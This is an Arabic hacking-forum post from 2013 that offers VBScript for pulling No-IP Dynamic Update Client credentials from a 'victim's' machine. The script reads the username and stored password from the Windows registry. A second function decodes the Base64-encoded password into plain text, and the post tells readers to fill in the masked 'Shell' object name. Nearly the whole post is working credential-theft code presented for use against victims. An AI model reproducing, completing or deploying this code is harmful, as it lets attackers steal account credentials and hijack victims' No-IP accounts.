| dàmon |
07-16-2013 02:03 PM |
سحب كلمه سر النو اي بي !! جديد
السسلام عليكمم
اليوم جايب لكم موضوع رووعه
وهو كود vbs لسحب كلمه سر النو اي بي في جهاز الضحيه
كود:
'damon.net
dim sh
set sh =WScript.CreateObject("WScript.****************l")
MsgBox(noip)
Function noip
On Error Resume next
Dim usr
usr = sh.RegRead ("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC\Username")
If usr = "" Then
noip = "/"
else
pass = sh.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC\Password")
noip = "URL: http://no-ip.com/" & vbCrLf & "USR: " & usr & vbCRLF & "PWD (Base64): " & pass & vbcrlf
End if
طبعا راح يطلع مشفر .. تقدر تضيف هذا عشان يفك التشفير
كود:
Function Base64Decode(ByVal base64String)
Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
Dim dataLength, sOut, groupBegin
'remove white spaces, If any
base64String = Replace(base64String, vbCrLf, "")
base64String = Replace(base64String, vbTab, "")
base64String = Replace(base64String, " ", "")
'The source must consists from groups with Len of 4 chars
dataLength = Len(base64String)
If dataLength Mod 4 <> 0 Then
Err.Raise 1, "Base64Decode", "Bad Base64 string."
Exit Function
End If
' Now decode each group:
For groupBegin = 1 To dataLength Step 4
Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
' Each data group encodes up To 3 actual bytes.
numDataBytes = 3
nGroup = 0
For CharCounter = 0 To 3
' Convert each character into 6 bits of data, And add it To
' an integer For temporary storage. If a character is a '=', there
' is one fewer data byte. (There can only be a maximum of 2 '=' In
' the whole string.)
thisChar = Mid(base64String, groupBegin + CharCounter, 1)
If thisChar = "=" Then
numDataBytes = numDataBytes - 1
thisData = 0
Else
thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
End If
If thisData = -1 Then
Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
Exit Function
End If
nGroup = 64 * nGroup + thisData
Next
'Hex splits the long To 6 groups with 4 bits
nGroup = Hex(nGroup)
'Add leading zeros
nGroup = String(6 - Len(nGroup), "0") & nGroup
'Convert the 3 byte hex integer (6 chars) To 3 characters
pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
Chr(CByte("&H" & Mid(nGroup, 5, 2)))
'add numDataBytes characters To out string
sOut = sOut & Left(pOut, numDataBytes)
Next
Base64Decode = sOut
End Function
طبعا نغير هذا السطر
noip = "URL: http://no-ip.com/" & vbCrLf & "USR: " & usr & vbCRLF & "PWD (Base64): " & pass & vbcrlf
الى
اقتباس:
noip = "URL: http://no-ip.com/" & vbCrLf & "USR: " & usr & vbCRLF & "PWD: " & Base64Decode (pass) & vbcrlf
|
ويجب استبدال النجوم بـ shell
|
